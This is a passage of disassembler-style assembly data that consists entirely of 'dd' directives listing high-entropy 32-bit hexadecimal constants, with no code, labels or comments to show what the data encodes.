		dd 0D8C92386h, 0AFE8D337h, 0FEE6E0F9h, 38255730h, 0F8F5A8ABh
		dd 0C251C1FFh, 0B17B4Ah, 0CE925Ah, 36AE5923h, 33CFC93Bh
		dd 35F05BF0h, 0AADD5819h, 7C21A038h, 8D288FF2h,	5260A07Fh
		dd 4620A4CCh, 0FAD784AFh, 4038A903h, 16BA9106h,	0F8592054h
		dd 0A0D140C8h, 0C1C1DCF8h, 0CC0950A9h, 80BA1880h, 0C4E8AD52h
		dd 3A8F3F01h, 0F81336B0h, 0A1E3C2D8h, 398C5B90h, 3690AFE0h
		dd 0B3F52200h, 0CB9C4593h, 0AA0738FFh, 0C22BA700h, 0BA031F83h
		dd 9E7EF93Fh, 4EEB9ADh,	1E212F01h, 0D083C444h, 0D430A7C9h
		dd 554B500Ch, 1458C2h, 91CABCBAh, 0D1042C4h, 0F99060FFh
		dd 1DC8C553h, 740239BCh, 0C0E7C10Fh, 0E3459C80h, 3E014C74h
		dd 0D4A8CD47h, 41C91DB0h, 0B4050F11h, 0C0BB56C7h, 0E489B2BEh
		dd 0D1A88600h, 886E3574h, 115A30A0h, 0F430AA80h, 542A8A8h
		dd 30376Eh, 6CA8B179h, 9E2707ABh, 0D11C44EAh, 0D91F6607h
		dd 0E7489CA4h, 1276F400h, 521A556h, 10D3EC42h, 0A9A430E6h
		dd 0B16FED58h, 0E7CCBC60h, 2885181Fh, 0C03CA7h,	53598B23h
		dd 0B9A2C4E6h, 217458CEh, 7C52880Eh, 5DF543DCh,	3060B033h
		dd 18F8ECC9h, 11715934h, 0C402A816h, 0C5F2486h,	0BC883A60h
		dd 0CB941216h, 925C007Ah, 8DB2EC5h, 51B20504h, 1C906C31h
		dd 60A9C4E5h, 43E65141h, 78C81FF9h, 0B08F82ABh,	0B4E8A538h
		dd 671B6BCh, 89B17E05h,	0A82EBB6Dh, 10F93383h, 451EE109h
		dd 4824217Fh, 6FE5D8E8h, 2EB69085h, 0ED80402Ch,	0B96AB1A8h
		dd 0C0E82537h, 9B288C0h, 396E0091h, 17D57DF2h, 0A11F819Bh
		dd 8068141Eh, 6765ED39h, 4E30C931h, 18A9D6BEh, 19A2A885h
		dd 41093868h, 3D70B91h,	14AE4E24h, 0C0B1DE18h, 2E0518Ah
		dd 0A584F042h, 0CFBC5440h, 0BAB8C761h, 5057C2D7h, 0F9D30250h
		dd 0F7EA3A83h, 0A414B2BAh, 2C281050h, 0C92405DCh, 406952C4h
		dd 0F128A4C8h, 0AB0A6B1Ah, 0D4ECF8C7h, 0C881E44h, 27391548h
		dd 4870A0h, 8893AAA0h, 0FA0AEDE0h, 0F08AE544h, 2257EB00h
		dd 48172EC2h, 80C50FDh,	6798C381h, 0CC9BA506h, 3FF96CBCh
		dd 0DC033DF8h, 1BAC0149h, 22993001h, 245E13B6h,	0C4E28850h
		dd 0A19B0D6Ah, 180C6ADh, 206F4ED8h, 3812B770h, 2422C320h
		dd 7EC5058h, 0C782A80Ah, 39E1CC3Fh, 48DAC03Ah, 37B71510h
		dd 0A01875B8h, 0E6588846h, 91A5780Ah, 528B00B4h, 0DCD9AC6h
		dd 3C142C4Dh, 79450C2Ah, 4BB1078h, 0A1442357h, 2639003Bh
		dd 1E94055h, 0C8C2C3ECh, 210184F8h, 0CB9DF034h,	42250DF8h
		dd 3340A4B9h, 34354C81h, 29B17001h, 691864E4h, 6EA9C830h
		dd 8433CD88h, 714BC411h, 461C8122h, 8A524708h, 1138802h
		dd 9178601Fh, 42A38058h, 50B78CA8h, 0A0993F28h,	52D8E602h
		dd 8AC30C31h, 223F1C88h, 71B6A1D1h, 0F8C59834h,	490CA820h
		dd 28F88833h, 608FBC88h, 2F2B8077h, 589ACE07h, 0AE4AA810h
		dd 0E9588440h, 4421C006h, 914007A3h, 0D3483CD8h, 0A1A70987h
		dd 0B943C4A1h, 1C86578h, 0D27F44A8h, 2047F920h,	3035568Ch
		dd 57C08401h, 115BBC34h, 643074B3h, 843C9808h, 0C2472180h
		dd 8CE63E1Eh, 42F2439h,	695DE507h, 0A99B6D80h, 0A4C2508Ah
		dd 12AC77F4h, 0C6BB5A8h, 17885EC4h, 0A1EF888h, 0E8294001h
		dd 2A6602E8h, 48E87A2Fh, 0BA3626AFh, 5E8482Eh, 8E44EB6Dh
		dd 253C2224h, 891CDE31h, 11B89821h, 0C3FDC43Bh,	181CCA31h
		dd 5E0CED1Fh, 991078A6h, 0EE886833h, 0FFAE31E1h, 218EEF08h
		dd 9E94A3DDh, 3BD3273Ch, 0F53111B4h, 482062A9h,	0B6F723D5h
		dd 3B276011h, 71B5C582h
		dd 0FBE01882h, 0F830F311h, 806EE4F4h, 9A1422F5h, 0C560DAA9h
		dd 9C31CEC5h, 5D181FABh, 15714D21h, 23C4D84Ah, 2B7A31D8h
		dd 5C43F918h, 84C5C211h, 7331CB91h, 54ED1821h, 0AE823C48h
		dd 1D6322D8h, 5DADA305h, 0DC88682Dh, 91AE413Ch,	15DDB638h
		dd 0A21158FEh, 25698581h, 0C63EF431h, 58A47518h, 0B9089B47h
		dd 0AA446F3Ch, 5104DB71h, 122BFE3Ch, 0B100D384h, 0CFF8B31h
		dd 542C5222h, 0C489DD10h, 7F49C5CAh, 0AE206481h, 105E03FFh
		dd 0CA2ABD31h, 89E4C4C6h, 0A6836098h, 60A9496Ch, 7C1D0E84h
		dd 1857EFE5h, 0D97C1CD4h, 11F45453h, 2B8B1D0Ah,	4484B488h
		dd 6261711Eh, 0D8AE2E0Ch, 0B965F910h, 0ADE56B88h, 981A6C22h
		dd 0A61C5B3Ch, 24EE23C0h, 6E7EE908h, 85A872D2h,	0DB23806Ch
		dd 0C98D081Fh, 2E86A69h, 18D2333Ch, 218C250Ah, 3A94347Dh
		dd 0FC922878h, 10C45934h, 225FC09h, 2224D92Ch, 0B7072702h
		dd 81CA6248h, 7A44412Bh, 1C4BC4E3h, 2843D832h, 895C126h
		dd 0B7146C4h, 0AEE20C25h, 3631219Ch, 0C1C30A88h, 8B87F4Dh
		dd 15788E8Fh, 56296F42h, 24AB883Ch, 332BF262h, 7696689h
		dd 13B76EC0h, 5224BD3h,	8479BAA8h, 3D74C1A8h, 22E8627Dh
		dd 45A03E1Ah, 75AD917h,	0F0AB2120h, 0E1A99974h,	89CC945Ch
		dd 3164487Eh, 750892C4h, 1E24A6E8h, 4CC566Bh, 22AAE5A2h
		dd 0B684A102h, 49B12A13h, 12C2FE18h, 5258A22Eh,	592D06EBh
		dd 785D28B0h, 34711000h, 0C878B788h, 935C84E2h,	0A85E8A30h
		dd 3B0854ACh, 2EBC01B0h, 8AF1437Ch, 94EA1678h, 5F253A41h
		dd 7217190Bh, 945075E1h, 6FA6E3A9h, 808650ADh, 0FCBA9025h
		dd 8431A22Ah, 0A173A91Fh, 0C8B92889h, 8196C4C8h, 1F45D849h
		dd 0C9D04437h, 0C224A100h, 8DA90079h, 63380B67h, 9800CD89h
		dd 0B883AC2Bh, 304B761Fh, 0A5191D2Dh, 0D2304E15h, 0C04A101Ch
		dd 349212AAh, 32470094h, 0F80ADF62h, 9C64A628h,	3D0039DDh
		dd 0CABF3C60h, 0B6CF00C4h, 76D13A4Ah, 0F60CA620h, 28649B85h
		dd 347C031Dh, 0CF3B2CFCh, 69158CA8h, 0A7004072h, 8432A892h
		dd 0C21FB7B4h, 0C5015B50h, 6A5AA121h, 0C443A912h, 4C60C106h
		dd 0E878C9D2h, 3B8D009Ah, 92DF5996h, 33F09B20h,	19083150h
		dd 32E80218h, 13F66B8h,	358F0C23h, 0D0F78022h, 6404A768h
		dd 0A871DC07h, 0E2D324C0h, 0E9166551h, 4ACC069Ch, 70C211ACh
		dd 0A4544136h, 1E42C130h, 0B62222EFh, 7A80A228h, 0AA949164h
		dd 27DA7850h, 0DB460D1Eh, 0EA0281F8h, 0B1FF48A1h, 1E00E25Eh
		dd 0A404F4EDh, 3F6039C8h, 59480F4h, 0C35A0CA0h,	1F7D9A0Ah
		dd 428180BEh, 89AB0595h, 155D209Fh, 4C781899h, 752A04B0h
		dd 1CD848B4h, 8A24090Fh, 0A8BE4986h, 0CFD7020Ch, 1435C0F9h
		dd 78E10518h, 62363F3Fh, 4720A088h, 0EC8E058Ah,	459A5F18h
		dd 0A154B14h, 0B1141C8Ch, 16443C8h, 9850D1B6h, 0CF31EB8h
		dd 8492FC55h, 0A40C8D40h, 90EBA1A2h, 8A4C10A8h,	12EC3ED3h
		dd 0C11881Dh, 1B1E77D0h, 19CFCB8Ch, 1D0E0FCCh, 9D523400h
		dd 0A1FFEC8h, 0B33B1CA6h, 8DA284C8h, 122C149Fh,	40000372h
		dd 0AFF5697Ah, 92A8C157h, 0DA3EEEh, 243CA610h, 857C1D83h
		dd 4274AFA2h, 9A2BDDA0h, 0D47A4881h, 7451A897h,	0D4A84855h
		dd 88F0A951h, 5C10EF60h, 6069B90Dh, 868C182h, 0F7FE2278h
		dd 0DA8483Eh, 70FB2E4Ch, 60A59ADCh, 0FE5B1ECh, 99481EE1h
		dd 2CAA8ACCh, 34940280h, 0A8EC0418h, 76748C4h, 3FF4CB8Bh
		dd 19C0C619h, 41790A35h, 0B1A07805h, 2F802420h,	144C9028h
		dd 481CF708h, 482B5081h, 0E2A8009Ch, 0C94B603Eh, 503E89Eh
		dd 0E55C7405h, 3020CBF7h, 0DFAD5FECh, 0E61A03F1h, 329A7FB6h
		dd 0B8B50880h, 8A49E766h, 761E0774h, 484C6731h,	0A81D30DDh
		dd 23A46D51h, 84F87890h, 3CFAA126h, 3A3DFE61h, 3552810h
		dd 0E4051918h, 98ED6669h, 8A65004h, 900D4C1Eh, 0E5022B22h
		dd 0E1705C4Dh, 6864B6h,	0E8B703B1h, 0A284C0A6h,	18CC0A35h
		dd 176A9402h, 340A123Dh, 0A93608E8h, 226D6540h,	8038917Ah
		dd 0C411E088h, 5D4973D1h, 9880C408h, 0EF600CD0h, 8865507Eh
		dd 0CC01190Bh, 704360B5h, 6324F520h, 0E84582Eh,	3008337h
		dd 1A53647Bh, 911EEC80h, 0B020094h, 287D95D3h, 0C0382B61h
		dd 0CC307285h, 0E082264Ah, 207A95F4h, 6016A80Fh, 0B2E96E0Ch
		dd 81B7E500h, 4C7659FFh, 979CA839h, 0B02A0C9Fh,	8518F869h
		dd 136DA888h, 6790E03h,	7987335Ch, 101E7728h, 0C1DD7B01h
		dd 33545CD6h, 90FEA447h, 10905919h, 0A7D430C5h,	10CA8DF0h
		dd 63021057h, 0AFCC0319h, 4940FBCh, 3019DA5Fh, 0FC20886Ch
		dd 0FD19336h, 21190A54h, 0D55094D6h, 10CC3C18h,	0B188F403h
		dd 0C0180211h, 0E56BD9E8h, 10802F48h, 133FA8DCh, 28B3C019h
		dd 15D7F092h, 31C2307Fh, 68D032B6h, 4237A68h, 8258A3AAh
		dd 93CC830Dh, 45BEE107h, 53403171h, 0B968FA0h, 923DDFB1h
		dd 0B9954407h, 0B002ECA9h, 9C5CDEABh, 0B80D4212h, 3FD8983h
		dd 28803BD9h, 5D8BCB8Ah, 7098226Eh, 648023FCh, 1130183Fh
		dd 5BD278A4h, 38D3601h,	0EAA2860Ch, 0BC4C6462h,	3E061E20h
		dd 3B4F15DEh, 0A23708D1h, 3D00B5C1h, 0CBCA4B45h, 32350CF0h
		dd 7C18E0D4h, 25EF4C09h, 8DC80021h, 62459252h, 8922B1A3h
		dd 4A07B602h, 6DC841A8h, 62C53424h, 0ED73400Fh,	0C80D8910h
		dd 808985A0h, 6028A0B1h, 240E0212h, 296091ABh, 94C58058h
		dd 0AA72E969h, 0AE451DF8h, 406152DDh, 60841030h, 0C61E4995h
		dd 1C186019h, 0BDF8ABD3h, 0D1BE3E99h, 7168F481h, 45733EF8h
		dd 9C1404BCh, 8E8E0F32h, 21998E6h, 0A851C3B0h, 86621E8h
		dd 90B965C6h, 21314C0h,	0D5180886h, 9AB69977h, 0A0A60628h
		dd 0D70428E6h, 4459E093h, 445664C2h, 104B647Ch,	4286228Ah
		dd 0F0C06464h, 5510CAF0h, 304A1910h, 0A82180A3h, 0C8485391h
		dd 98BC00B5h, 779D544Dh, 0D4B9504Ch, 29118700h,	15471C79h
		dd 0D8D24ACBh, 50389430h, 809039A5h, 0EC0CF751h, 1E01BCE6h
		dd 0B6782902h, 3020929Fh, 0C03F3177h, 92912118h, 0B85ED898h
		dd 0B5F923D8h, 97A826E7h, 955D0CB0h, 0AD608138h, 0CBC5F29h
		dd 0F35602AEh, 0B6F57C79h, 82ED5C85h, 99234914h, 0E9106C19h
		dd 0C490B710h, 111F5132h, 1B6202B5h, 0A60ABD24h, 10BC1018h
		dd 0D4001C6Ch, 9277B0C4h, 0B42C03E0h, 0CF153C80h, 1633CDCh
		dd 0B6FD239Dh, 6C2028A4h, 0F88564BCh, 5AA08157h, 52A800B3h
		dd 0D14D91h, 0DD51F705h, 1B9800DEh, 9B85F5EAh, 3C3C64B1h
		dd 689F15F3h, 0F2DB0084h, 0AFDEB551h, 5A40050Fh, 909D0939h
		dd 6065A9DCh, 0FE740271h, 8404894h, 1DBD704Ah, 0B9B13EA1h
		dd 2298ABB4h, 1E20CB64h, 104F1940h, 5CA6B2E2h, 8F1C8A88h
		dd 78984315h, 92819D1Eh, 2B2946C4h, 88C794D7h, 782D7B85h
		dd 9AD39430h, 324824h, 49370912h, 0A402FB9Ch, 0B32E3651h
		dd 918BD809h, 8015AFB8h, 76E20AFCh, 80832022h, 122F85A4h
		dd 61E4D77h, 312E6660h,	0C345D00Ah, 0B50050C0h,	0F3FA85B6h
		dd 92C9339Eh, 81C5BEF9h, 83974Ch, 94A70F1Eh, 0C342C50h
		dd 0C8183313h, 3A4534B8h, 8010D81Ah, 3DB81E97h,	0E77B3300h
		dd 1F029DE2h, 41D3862Bh, 1188893Eh, 5B4BDC21h, 1B386912h
		dd 0E889ACCDh, 4C86CB11h, 20061A8h, 0B0C3D2F0h,	0C2219266h
		dd 932DB511h, 744B3880h, 8A5C0F7Bh, 1C03CA2Ch, 0E2527700h
		dd 48ECC084h, 0A84650A6h
		dd 4CA3867Ch, 5A7CE6C1h, 0E857288Ch, 88CDC721h,	0E4C72BE9h
		dd 0BE5F63C8h, 9501156h, 22B08D94h, 4079C844h, 923FC060h
		dd 322298E4h, 0C8815F03h, 73AED8A1h, 0AD804808h, 91039540h
		dd 40F14530h, 6AFFBEFCh, 2F07F0DCh, 2D1CB216h, 0E4A03D77h
		dd 3FEA7476h, 47009D45h, 0ED98C906h, 8800A38Ch,	9B1F77F4h
		dd 7A4535h, 623716E6h, 0DB833840h, 304F3D00h, 42C2BF9Fh
		dd 66AD399Bh, 69650F7Fh, 3180704Ch, 2A069E30h, 11954630h
		dd 0E616D61Fh, 0AF5E1BE0h, 8BE3402Fh, 54B0B8C0h, 33012D00h
		dd 55E6CCABh, 0D6A100BAh, 0E4EA30F3h, 1F1CFA8Eh, 28A82D37h
		dd 66051600h, 173F99E7h, 409A0CB0h, 6A582D68h, 0D6DEF614h
		dd 48B10008h, 0AE74ECEBh, 40DA6F38h, 0A400188Fh, 0BB07E21Ch
		dd 0C0B8A100h, 331A8355h, 66A50F53h, 0DE8EB94Fh, 0E330F9A2h
		dd 76F848Fh, 896FABA6h,	0B7F409FCh, 20E2C231h, 83FCB8B1h
		dd 347FA5Ah, 87D6AF79h,	0E9A1F6FEh, 0E7D08758h,	58CC2B7Ah
		dd 2749C3A1h, 0B10039DCh, 0E609A4FAh, 7F1E2EFBh, 0FE00280h
		dd 1F506597h, 0F6E31FC0h, 3AEA8800h, 0BDAAE69Ch, 33B800C1h
		dd 0B46A5F94h, 58DE986Fh, 97105719h, 408E5E08h,	9A885F56h
		dd 50E30525h, 40AF2380h, 87DB5D94h, 0B02AB4EAh,	0A600DC24h
		dd 1D55C1E1h, 30691E2Bh, 60C97EF9h, 956744E6h, 2497C351h
		dd 6F393586h, 10670915h, 0A660EC6Ah, 14284E49h,	22147944h
		dd 3BEE02A3h, 0A140B1C5h, 0F61C6440h, 9CFA6629h, 17CA093Dh
		dd 0F46C002Ch, 505B5E56h, 817FB0C5h, 7CD10BCh, 0E84E01B1h
		dd 9AA0353Fh, 790FFB5Bh, 69B46DDh, 3102E29h, 0E1252D47h
		dd 7DD3166Bh, 4304CCC2h, 0DB02CD22h, 42890115h,	0D9DCC055h
		dd 0AB08C378h, 10469510h, 11DD88CBh, 98070008h,	0E0241171h
		dd 5D49C0D1h, 1B01289Bh, 0A1846ECh, 0AB185A2Fh,	0D0BE0F38h
		dd 40F10AAh, 0A0CD3E60h, 733891A9h, 2C4D9E44h, 0E800E0DFh
		dd 0F69B384Bh, 0E92A1904h, 0C95828C1h, 136D7043h, 9B7D7C0Bh
		dd 99AF812Ch, 8FF01CAh,	9AD51818h, 0A3ED7BC1h, 71DD9F0h
		dd 0B4F2836Ah, 0C073C76Dh, 93793E34h, 7B509FECh, 0D1EB2E40h
		dd 18DF308Ch, 650F9209h, 0AD970383h, 29F80085h,	0EE4F2A08h
		dd 1F00A9C5h, 90AAE3B9h, 63D7D26h, 85705411h, 8C0E7015h
		dd 0C17F3FE9h, 2B7D0110h, 0AAE74080h, 0D83C1A1Fh, 3A5AB0C1h
		dd 0E88528AEh, 1FD26A8h, 8C7DDB94h, 4008B0C9h, 603D5054h
		dd 0C2525817h, 787C6C22h, 2C08A207h, 0C3C7600Bh, 1AC4A3F1h
		dd 0D4E4F8h, 0C9DF4DC1h, 0E12410A9h, 0C811F728h, 0B908DB00h
		dd 254F7443h, 601E66E0h, 2170585Ah, 0A21F9702h,	0F0A1170h
		dd 19749286h, 50CAC000h, 4FCE2B2Eh, 6E10E8Ch, 0C62A38C2h
		dd 0E5A300E8h, 152C4C8Ah, 98ABE800h, 0E720DF2Bh, 45B50062h
		dd 3413AD2Dh, 9E0A7FEDh, 0B8CFAA61h, 0C2085401h, 0B082CBF1h
		dd 6C531B91h, 5286CC8Fh, 6B601922h, 5859BDD8h, 0C2510A81h
		dd 41844825h, 361272Bh,	9A58C8FDh, 1AE4016Dh, 819616BDh
		dd 424486FBh, 0FDF84DAFh, 1E42B30Ch, 61D3F708h,	71A1B088h
		dd 15B08871h, 86A383FBh, 0F81F51CAh, 0F08B06Ah,	63E5CD8h
		dd 246C48EBh, 7D1C08A6h, 40020FD2h, 6AB5C1h, 604BAFE4h
		dd 13E68D05h, 0E4015985h, 0A967DA5Eh, 9A21020h,	6DCAE778h
		dd 0F1033C00h, 0C2085035h, 16A6113h, 39A58431h,	11204E15h
		dd 3880FC9Ah, 4FCF51D1h, 666C8700h, 0AC4BA0AFh,	392E1207h
		dd 34880F60h, 8E5608E0h, 3600287Fh, 0DA0B23AEh,	35A01Ah
		dd 77BAE41Eh, 5103F4C6h, 6C007170h, 6EDFC073h, 381CAB74h
		dd 3A00B093h, 3C4925B2h, 16002404h, 0EBF392B1h,	77DC4EDh
		dd 8610ACBAh, 598CD1D0h, 5A91F866h, 7547093Eh, 0F574291Ch
		dd 0B554D340h, 176184h,	0B35F580Ch, 0C5D91276h,	0E48CD600h
		dd 0E044A0F2h, 94FB0004h, 0E734CEA8h, 81008F51h, 2706828h
		dd 9547D6h, 1DAE8512h, 0F7C04325h, 0A9FFF500h, 4CCC78B1h
		dd 0A0670316h, 2D9B8CF0h, 8D0377F7h, 184C40E2h,	7F00CCA7h
		dd 2C147ACEh, 0CF3A8Ch,	74C0F478h, 4B15EFA2h, 2ACC4800h
		dd 0B18BC688h, 7CDC0079h, 97940CE0h, 6F00EAF2h,	30AB9A92h
		dd 0BC60FFh, 6721B0E5h,	0E9067E32h, 7700E77Eh, 9242961Dh
		dd 0A86312h, 513EC6B5h,	0D5688D65h, 0A09C5650h,	7A7920h
		dd 0DBE6E4F0h, 0AFD21CC5h, 7BEBA20Eh, 4A14E01Ah, 971590Bh
		dd 9C41D928h, 0EAF478A0h, 0E80998D2h, 80798094h, 9B6C6670h
		dd 3A4801B9h, 0D9E4C924h, 0C6388025h, 12D26160h, 0EC215C93h
		dd 48B68518h, 0D100CD7Dh, 0C8645CE2h, 6EF867h, 0ADCE1DA6h
		dd 23BDAEECh, 5695F00h,	0A557ACBFh, 730F035Ah, 0FB3E7929h
		dd 0D0A9E9C8h, 840034B0h, 13A89D0Bh, 6EF344h, 0B141CBEBh
		dd 752CBBCAh, 12AF8903h, 0F0BF9152h, 4CC690h, 1BE8BE53h
		dd 2024D40Ch, 22882600h, 0BCB45765h, 6C4A01CCh,	1E9682E8h
		dd 7446C041h, 97C76101h, 1435B970h, 4CCEE08Ah, 0EB07808Ch
		dd 0A9E39327h, 5B85D500h, 0BDF7CA05h, 0E1940098h, 46661349h
		dd 68EECDDDh, 2B963Ch, 0F1AD6AD2h, 1EBD948Dh, 13053Bh
		dd 0FCA7EB83h, 0F000D577h, 4B611BDFh, 2C6EBD41h, 80B09784h
		dd 96B8D1E8h, 9200ED02h, 0B93BC405h, 0C5D653h, 2099C8F7h
		dd 3648EFE5h, 0EBA0110Fh, 10D540CDh, 5A1F45B3h,	5D3E0703h
		dd 807C5475h, 63B4B708h, 95400C00h, 0E7BDE52h, 94F15077h
		dd 0BAA0003Fh, 4F209E37h, 7514042Ah, 11841183h,	0A035C13h
		dd 0E59521EBh, 230BAAC0h, 51693600h, 0CDBA7A84h, 880D1FAEh
		dd 0BED50152h, 0C7E6FECBh, 708F6000h, 0ED1F8530h, 0F47D0EA7h
		dd 0E580B02Bh, 29891272h, 335533Dh, 0C13B864Ch,	9FCCE8FDh
		dd 796000E6h, 61634BF6h, 0AC007224h, 0D71405C4h, 0C9F890h
		dd 0F14AF9CFh, 0B1294B08h, 0D682F000h, 78E5F4EAh, 3ECD0F4Ch
		dd 0A211DD3h, 20242A62h, 5E001FE0h, 0A60E22D8h,	1EDB159Ch
		dd 405DD7B0h, 0A3A5FC3Fh, 8B74345Ah, 0F08CB100h, 0B73016C6h
		dd 13E70085h, 4F42CD4Ah, 2700325Dh, 8F4F0A2h, 0F43B7DCh
		dd 0F31692F1h, 4C07EAE0h, 0B600B173h, 0B4E3BFBDh, 0B15D2D0h
		dd 27E767BBh, 0F1B29880h, 9C1DE05Fh, 14090CBh, 51855E24h
		dd 747F015Bh, 0DF7CFAFBh, 0A82BE00Ah, 70C16700h, 0DB4BA9B8h
		dd 0E84D0319h, 0C72A590Dh, 67AED397h, 0EC50C0E9h, 0B500CF8Bh
		dd 3D05DAC4h, 3607247h,	0C5B4AB1h, 0EEC8483Ch, 3F03A787h
		dd 0C7F6E227h, 70F1885Ch, 0D67DABh, 3E431E97h, 0D1AE07DFh
		dd 0F9ECE014h, 628800BCh, 0F3249C79h, 0E9FD00D9h, 94332DA8h
		dd 0E570C4B9h, 0EEE82061h, 2B0026B7h, 5300EBF1h, 0B53F9D76h
		dd 0C04B87D9h, 0C9736DF8h, 0AA04E6BFh, 6FF2C4C2h, 3A4D5880h
		dd 309A2CB8h, 0E3F18204h, 0C6C0DAEDh, 2005CD3h,	0BD53C691h
		dd 3A609336h, 4A007F50h, 18CDA456h, 0FAE49F38h,	64784Ch
		dd 16AEDEA2h, 3D5ACF15h, 69EFAA28h, 30BEB9A7h, 36C4DA6Eh
		dd 3724000h, 7F453BFCh,	0C0126394h, 95F06D10h, 0CC003104h
		dd 0BA93AE1h, 160366h, 569FC3FAh, 1120B60Ah, 7A9AB400h
		dd 581F63F1h, 0AEC61DE0h, 0D88FC155h, 0E04A8230h, 9E0732A5h
		dd 0D63FB973h, 1AFC3DE0h, 0BFC30E46h, 50004B0Bh, 2C82F87Bh
		dd 7F233F00h, 3442BD7Ch, 8B4000ADh, 0B97198BAh,	0CA0FD4B0h
		dd 609D4C5Ch, 0F8915E1Ch, 3370064h, 95DA7DBEh, 560704F2h
		dd 0C046A1F3h, 9FF457h
		dd 4C188D37h, 0A87358E4h, 0E2E99900h, 0A7076B59h, 7E00B878h
		dd 0A99C922Ah, 0F5F33Ch, 40B50E3Ah, 0A084A706h,	0D6A5F700h
		dd 0A3083726h, 88F0035Bh, 0CD214E2Ch, 0BC4049EAh, 95382DE2h
		dd 72EF8091h, 0A7CAC427h, 0AD5D01EEh, 264799F5h, 9980DAFEh
		dd 0AEF07401h, 0C84BD314h, 0BE78128Ah, 7E6D9020h, 77D728F2h
		dd 438700E8h, 0A113389Bh, 0C2006B23h, 0B31BD08Fh, 313CCEh
		dd 0F13A6463h, 572E0E39h, 0F527F900h, 0E5C8C0DEh, 18A10375h
		dd 0B1D75599h, 1A0080EEh, 1E65149Bh, 0F7FD0h, 0C354F269h
		dd 8E9988Ch, 0CD00FAE2h, 4DA68CBh, 0D78E0Fh, 7E378518h
		dd 0BF2C2E1Ch, 50E70C00h, 0FAD4AA4h, 8D6100CBh,	0B64DE6AEh
		dd 0B91E03D7h, 0D980BE8Ah, 6EA4024h, 0D4F149D6h, 0D779D00Bh
		dd 80090023h, 0D8E73DB1h, 0A20E8A0Ch, 4093B6h, 0EA92A405h
		dd 6083E79h, 3598AD00h,	0A6A8D932h, 3A0EC700h, 0CDBCD759h
		dd 0F76D004Bh, 8F7AD353h, 0B5F42D86h, 15AB60C5h, 0B8507583h
		dd 77AF022Ah, 0ADE55C14h, 3C5ED850h, 0CB1BCD45h, 0A0C73018h
		dd 7F3310CAh, 99DB3C00h, 0B466E7A3h, 724F00A5h,	0C396FD28h
		dd 30000136h, 0FF247026h, 7B8F6E48h, 8D7F1280h,	756A0792h
		dd 0C37A112Dh, 5EAC24DEh, 17626500h, 5DBB0291h,	0CEF10255h
		dd 0AF21A7B0h, 0A48C28E8h, 4137CA30h, 0A6E664h,	881C608Fh
		dd 1132E36Dh, 2F9B4B07h, 97E0D3F8h, 120281Fh, 387308Ch
		dd 0E4767F89h, 96006F95h, 4ABE10D7h, 94E0A05h, 0A0425AF0h
		dd 18301600h, 80007AE0h, 7076C75Eh, 0CED49h, 6BB48477h
		dd 55BF5268h, 8AE6A00h,	21A3CE93h, 158007D1h, 0F0ECC699h
		dd 67BEFD1Fh, 0D87CF00h, 0EE9F3677h, 9812C70h, 0DDE480A4h
		dd 1EAF5E21h, 90000BE2h, 785AD425h, 0B1A26058h,	635907B8h
		dd 0A904E2A7h, 103684A7h, 6A3B584Bh, 0EADC340Fh, 0CA4F401h
		dd 397EA36Fh, 0D83F15E3h, 78B04Fh, 0D5DE2B5Dh, 211D383Ch
		dd 2F36B000h, 0B22A73E7h, 17DA008Eh, 9CF5F6CDh,	53601461h
		dd 0DFB8E020h, 81BE305Fh, 47516C49h, 0F745733Fh, 0A2612C60h
		dd 0DE1FAh, 856D3162h, 52ED2250h, 0AA8A2600h, 0DC0A1708h
		dd 312A6092h, 5F2F8F39h, 0AF64A900h, 0B1068BDFh, 54A6001Dh
		dd 5A55E11Bh, 0C844DADCh, 0E8E3EE09h, 8B380107h, 0BE3A8E8Ch
		dd 0FB2C6442h, 841EC600h, 0FABC02D9h, 8CE21Ch, 1FBD8213h
		dd 1854F176h, 0FB8ED318h, 0C00BBE51h, 5595B9D1h, 0FC3A17D2h
		dd 16740006h, 19770F0Ch, 64CF1387h, 9C1C808Fh, 3812FAB4h
		dd 7F003A05h, 25BD40C2h, 1A71008Ah, 2E8FE884h, 0F7006C3Eh
		dd 83F12033h, 9C32DDh, 0BD56FC71h, 47498C6h, 0FE45800h
		dd 2C5A37DBh, 0A0AA0050h, 0CD31A7C9h, 8D004E6Bh, 3AFBDAEBh
		dd 291F0Dh, 0A2B9C335h,	5F41A894h, 0E9623Bh, 497C459Ah
		dd 178621D0h, 6BD136h, 6708CD7Bh, 0B60151C3h, 0BF32DDCh
		dd 0E0D67AFDh, 3474E18h, 0B05452E9h, 66C1B2BCh,	0C661FC73h
		dd 19D25800h, 57C9B31Eh, 0AB4003E9h, 5CF65E1Dh,	31B9B431h
		dd 0AA30AA12h, 612B0137h, 93D23B4Bh, 0BCCEC434h, 3848FB60h
		dd 3D50B75Ah, 4E07D5ABh, 1378724Bh, 0A90086Fh, 0C8001BFCh
		dd 1E1CFDB7h, 0DB3297h,	0D82EDD05h, 0F9ADC642h,	12B9E01Fh
		dd 40C7238Fh, 1E7A794Ah, 0CB310021h, 0BF3540C1h, 4D0162C6h
		dd 0F4367BD1h, 3AF51A77h, 0DB662480h, 433DED15h, 8094F339h
		dd 9F4DA4B2h, 0A3561F51h, 0D62680D4h, 0A6730680h, 384F61F5h
		dd 5817FC02h, 0F86C28h,	631A02B9h, 0DA37F700h, 106F2B76h
		dd 967E0035h, 55ACE2A5h, 0CB005388h, 7B89806Ah,	0ABEC39h
		dd 68DF9051h, 7785674Ch, 97583C3Ch, 0C801E71Dh,	9EE8FCA4h
		dd 51EAE4h, 96BC5313h, 9F692F5h, 0A984F400h, 0D6320D46h
		dd 0DA4A000Bh, 6FA47C7Bh, 1A3AC921h, 0A5BB8CDh,	80D030B8h
		dd 9B003C92h, 0F7DDFF2Ah, 352E0042h, 65CD8CFh, 0AD7522F3h
		dd 5AFAA407h, 9FC0F8B3h, 4441A9h, 14779525h, 0CC737B86h
		dd 57F4BE50h, 0BD072CF2h, 0FFB32A05h, 0DBE67A90h, 13680E61h
		dd 1A00F6EBh, 5893ABCAh, 0A17646F2h, 8E705C00h,	904A3A5Fh
		dd 0E0D20FD9h, 5A6052B5h, 2AB27324h, 0C487AE02h, 83CBF722h
		dd 2C219AC3h, 38C580E0h, 238D2881h, 0CDD36E0Ah,	1CE7D487h
		dd 1AF2B500h, 4F270E1Dh, 0F332012Fh, 371F8626h,	5FF4DC73h
		dd 0B480A800h, 0B977EACCh, 0CF48004Bh, 4D3EED3Bh, 13002D87h
		dd 0F5EEDF70h, 7EAA31h,	0E55DCA35h, 0EC3FBD27h,	29125200h
		dd 0A7A2AF30h, 0C71F0099h, 0FC2D0833h, 0FD005741h, 0C61229BFh
